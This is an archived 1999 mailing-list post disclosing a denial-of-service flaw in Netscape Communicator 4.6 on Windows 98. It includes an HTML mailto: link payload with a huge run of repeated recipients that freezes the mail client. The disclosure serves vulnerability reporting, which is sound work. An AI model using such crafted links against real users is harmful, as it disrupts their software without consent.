Netscape 4.6 DoS

Philip Stoev (philipEINET.BG)
Wed, 30 Jun 1999 19:57:40 +0300

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
• Next message: Nicholas W. Blasgen: "Re: Outlook denial of service"

Netscape 4.6 Win98 (possibly other versions as well) process mailto: URLs so
that each item in the URL becomes a recepient of the empty message that
opens up for editing.

Therefore, an URL like:

<a href="mailto:
["a " repeated 10000000 times]
"> Click here </a>

such as:

<a href="mailto:
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
"> Click here </a>

will make Communicator open up an email message and start inserting hundreds
of recepients into the header part, effectively shutting down until this
process is complete (minutes or more?).

Philip Stoev - http://jobs.einet.bg/philip.html
Get your job EuroIntegra e-JOBS (http://jobs.einet.bg)

• text/x-vcard attachment: Philip_Stoev.vcf

• Next message: Nicholas W. Blasgen: "Re: Outlook denial of service"

This archive was generated by hypermail 2.0b3 on Tue Jun 29 1999 - 20:23:44 CDT